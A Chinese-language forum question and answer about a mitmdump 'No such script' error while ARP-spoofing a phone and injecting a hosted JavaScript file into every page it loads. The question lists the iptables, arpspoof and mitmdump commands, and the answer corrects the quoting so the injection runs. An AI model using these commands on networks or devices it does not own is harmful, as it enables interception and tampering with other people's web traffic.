mitmdump 错误 /usr/bin/mitmdump 没有这样的脚本

mitmdump 错误 /usr/bin/mitmdump 没有这样的脚本

我正在尝试使用 ARPspoof 设置拦截来自手机的流量,并将 javascript 标头注入到页面中。

在开始之前,我输入了以下命令:

echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth1 -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o wlan0 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080

为了拦截流量,我输入了以下命令:

sudo arpspoof -i wlan0 -t <phone_ip_here> <router_ip_here>
sudo arpspoof -i wlan0 -t <router_ip_here> <phone_ip_here>

我启动了一个 Web 服务器来部署将嵌入到手机接收到的每个网页中的 javascript 文件

该 Web 服务器将托管在 Kali 计算机的 IP 端口 8000 上

sudo python3 httpServer.py

最后,当我运行 mitmdump 时,出现此错误:

mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'

错误信息:

/usr/bin/mitmdump: No such script

我不确定我做错了什么,如果我使用以下命令执行 mitmproxy:

mitmproxy -p 8080

流量确实被路由到 mitmproxy 但是,我在手机浏览器上收到 400 Bad Request 错误,并且 mitmproxy 返回 http 协议错误。

任何帮助或建议都将受到热烈欢迎。

答案1

mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'

密切注意单引号。 mitmdump 的选项-s指定要运行的脚本的名称。在这里,您有效地告诉计算机脚本的名称是

injector.py<space>http://<kali_computer_ip>:8000/script.js

由于文件名injector.py中没有任何特殊字符,因此不需要用引号引起来。另一方面,如果 URL 包含问号或其他对 shell 有特殊含义的字符,则可能需要加引号。因此,假设位于injector.py执行此命令的当前目录中,我认为这可能会执行您想要的操作:

mitmdump -s injector.py 'http://<kali_computer_ip>:8000/script.js'

相关内容